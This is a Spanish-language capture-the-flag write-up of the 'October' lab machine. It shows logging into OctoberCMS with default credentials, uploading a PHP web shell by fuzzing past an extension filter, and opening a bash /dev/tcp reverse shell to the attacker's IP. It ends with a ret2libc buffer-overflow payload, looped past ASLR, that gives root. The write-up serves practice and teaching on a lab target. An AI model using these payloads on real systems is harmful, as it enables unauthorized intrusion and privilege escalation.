October
En esta máquina explotaremos un OctoberCMS con unas credenciales por defecto y una subida de archivos saltándonos una validación por extensión. En la escalada llevaremos a cabo un Buffer Overflow con una técnica llamada ret2libc con el ASLR (Aleatorización de las direcciones de la memoria.) activado
March 27, 202410 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
> ping -c 1 10.10.10.16
PING 10.10.10.16 (10.10.10.16) 56(84) bytes of data.
64 bytes from 10.10.10.16: icmp_seq=1 ttl=63 time=37.4 ms
--- 10.10.10.16 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 37.437/37.437/37.437/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.16 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.16
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> sudo nmap -sCV -p22,80 10.10.10.16 -Pn -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Puerto 80
Nmap ha reportado que el puerto 80 está abierto y tiene corriendo una web
Con un whatweb podemos ver a que nos enfrentamos
> whatweb http://10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]
Es un October CMS, con una búsqueda en google podemos encontrar que este CMS tiene el login en el /backend y que las credenciales por defecto son admin:admin. Si probamos de autenticarnos con estas credenciales… Funciona, ahora ya estamos dentro del panel de administración
Intrusión
En el panel de administración hay una sección de subida de archivos donde podemos intentar colar un php.
Primero intentaremos subir un script básico llamado shell.php con el siguiente código
<?php
system($_GET['cmd']);
?>
Como era de esperar, da error.
Puede ser que esté bloqueando el archivo basándose en la extensión. El siguiente paso sería probar de mandar el archivo con otras extensiones de php.
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Este proceso lo podemos automatizar con burpsuite desde la sección de intruder.
Empezamos seleccionando que valor vamos a alterar, en este caso las extensiones
Seguimos subiendo un archivo con todas las extensiones que harán de diccionario para la fuerza bruta
> /usr/bin/cat extensions.txt
php
php2
php3
php4
php5
php6
php7
phps
phps
pht
phtm
phtml
pgif
shtml
htaccess
phar
inc
hphp
ctp
module
Solo falta darle a start atack.
Burpsuite lo que va a hacer es sustituir la extensión por cada una de las extensiones que le hemos pasado como diccionario. Dando como resultado lo siguiente.
Aquí podemos apreciar que las peticiones que intentan subir un archivo con una extensión bloqueada, dan como resultado un error 400 y las que si han podido subir un archivo devuelven un código 200
Ahora ya podemos acceder a los archivos subidos desde la siguiente ruta
http://10.10.10.16/storage/app/media/ http://10.10.10.16/storage/app/media/shell.php5
Para ganar acceso a la máquina solo queda ponerse en escucha por el puerto 443.
nc -nvlp 443
Y mandarnos una reverse shell
curl -s -G "http://10.10.10.16/storage/app/media/shell.php5" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.38/443 0>&1'"
Estamos dentro B)
Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Escalada de privilegios
Empezamos la escalada buscando archivos con permisos SUID
find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
...
-rwsr-xr-- 1 root dip 323000 Apr 21 2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24 2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrflw
Entre todos los encontrados hay uno que llama la atención y es el /usr/local/bin/ovrflw, para ver que es y analizarlo, nos lo vamos a pasar a nuestra máquina de atacante
He intentado pasármelo a mi máquina con un servidor http de python, pero no funciona, así que nos lo pasaremos con base64
Máquina víctima:
base64 ovrflw
Guardamos todo el output en base64 en un archivo llamado temp.txt en la máquina atacante y después lo “decodeamos” y lo guardamos en un archivo llamado ovrflw
base64 -d temp.txt > ovrflw
Le damos permisos de ejecución
chmod +x ovrflw
Ya podemos empezar a analizarlo
Al ejecutarlo nos salta un mensaje explicando el uso del programa
> ./ovrflw
Syntax: ./ovrflw <input string>
Nos dice que hay que poner un input como parámetro
./ovrflw a
Pero no sale nada cuando ponemos algo.
Es raro, vamos a ver que esta pasando desde ghidra
Función main
undefined4 main(int param_1,undefined4 *param_2)
{
char local_74 [112];
if (param_1 < 2) {
printf("Syntax: %s <input string>\n",*param_2);
/* WARNING: Subroutine does not return */
exit(0);
}
strcpy(local_74,(char *)param_2[1]);
return 0;
}
1- Primero se declara una variable con un tamaño de buffer de 112
2- Se comprueba si hemos proporcionado un parámetro.
3- Se hace uso de la función strcpy para guardar nuestro input en la variable previamente declarada.
strcpy es una función que no es recomendable usar porque si el input es más grande del esperado provoca un desbordamiento del buffer, como en este caso:
> ./ovrflw $(python2 -c "print 'A'*200")
zsh: segmentation fault ./ovrflw $(python2 -c "print 'A'*200")
Vemos el error segmentation fault así que podemos probar de llevar a cabo un buffer overflow
Vamos a comprobar las protecciones del binario para pensar como podríamos explotarlo
> checksec ./ovrflw
[*] '/home/d3b0o/Downloads/ovrflw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Tiene la protección NX activada por lo que no podemos hacer un Buffer Overflow y cargar shellcode en el stack porque no se va a ejecutar, pero lo que si podemos hacer es un Buffer Overflow ret2libc.
Lo primero es encontrar el offset para llegar al EIP (La cantidad de caracteres que necesitamos poner para llegar a sobreescribir el EIP).
Para ello usaremos gdb con el plugin pwndbg.
Creamos una cadena de texto de 500 caracteres
msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Esta cadena de texto está especialmente diseñada para esto
Se lo mandamos a pwndbg
pwndbg> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /home/d3b0o/Downloads/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
EAX 0x0
*EBX 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX 0xffffd290 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDX 0xffffcf62 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDI 0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI 0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP 0x41366441 ('Ad6A')
*ESP 0xffffcdf0 ◂— 0x39644138 ('8Ad9')
*EIP 0x64413764 ('d7Ad')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x64413764
El programa obviamente crashea, ya que hemos sobreescrito el EIP con una dirección que no existe y el programa no puede continuar.
Con el siguiente comando nos calcula automáticamente el offset del EIP
> msf-pattern_offset -l 500 -q 0x64413764
[*] Exact match at offset 112
Para comprobar que realmente es 112 vamos a mandar 112 ‘A’ acompañadas de 4 ‘B’ si todo ha funcionado el EIP debería valer 42424242, ya que B en hexadecimal es 42
pwndbg> r $(python2 -c "print 'A' * 112 + 'B' * 4")
Starting program: /home/d3b0o/Downloads/ovrflw $(python2 -c "print 'A' * 112 + 'B' * 4")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
EAX 0x0
*EBX 0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX 0xffffd290 ◂— 'AAAAAAAAAABBBB'
*EDX 0xffffcf62 ◂— 'AAAAAAAAAABBBB'
*EDI 0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI 0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP 0x41414141 ('AAAA')
*ESP 0xffffcf70 ◂— 0x0
*EIP 0x42424242 ('BBBB')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x42424242
Efectivamente funciona.
El siguiente paso para explotar el ret2libc es comprobar si el ASLR está activado.
ASLR: Aleatorización de las direcciones de la memoria. Esta protección no es del programa en sí, es una protección del sistema. En los sistemas actuales suele ser raro encontrarlo deshabilitado. Para ver si está habilitado le hacemos un cat al /proc/sys/kernel/randomize_va_space. Si el contenido es un 0, es que está deshabilitado, si no devuelve un 0 es que está habilitado
www-data@october:/usr/local/bin$ cat /proc/sys/kernel/randomize_va_space
2
En este caso está habilitado, otra forma de comprobarlo sería viendo varias veces con un bucle la dirección del libc .
www-data@october:/usr/local/bin$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7589000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bb000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d0000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bf000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b0000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d1000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75fb000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755a000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7548000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757a000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)
Podemos observar que va cambiando
Esto nos dificultará un poco la explotación.
El siguiente paso es encontrar las direcciones de system, /bin/sh y de forma opcional exit, lo que vamos a hacer es llamar a la función system y como parámetros le pasaremos /bin/sh para tener una sh ejecutada por root
(Desde la máquina víctima)
- /bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
162bac /bin/sh
- system y exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
También pillaremos una dirección de libc como esta, porejemplo 0xb75f5000
Calculamos las direcciones:
libc = 0xb75f5000
#SYSTEM
system = hex(libc + 0x40310)
#EXIT
exit = hex(libc + 0x33260)
#/bin/sh
sh = hex(libc + 0x162bac)
print(system, exit, sh)
> python3 bof.py
0xb7635310 0xb7628260 0xb7757bac
Ya tenemos las 3 direcciones, pero necesitamos pasarlas a little endian
- System: 0xb7635310 -> \x10\x53\x63\xb7
- Exit: 0xb7628260 -> \x60\x82\x62\xb7
- /bin/sh: 0xb7757bac -> \xac\x7b\x75\xb7
El payload final quedaría de la siguiente forma
./ovrflw $(python2 -c "b'A' * 112 + b'\x10\x53\x63\xb7' + b'\x60\x82\x62\xb7' + b'\xac\x7b\x75\xb7'")
La idea está bien, pero esto no funcionaria porque no estamos teniendo en cuenta el ASLR, ya que estamos suponiendo que la dirección de libc es 0xb75f5000
Lo que podríamos hacer es ejecutar con un bucle inifinito el script, porque en algún momento la librería libc volverá a tener la dirección 0xb75f5000
while true; do /usr/local/bin/ovrflw $(python -c 'print b"A"*112 + "\x10\x53\x63\xb7" + "\x60\x82\x62\xb7" + "\xac\x7b\x75\xb7"'); done
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# whoami
root
Alcabo de un rato, somos root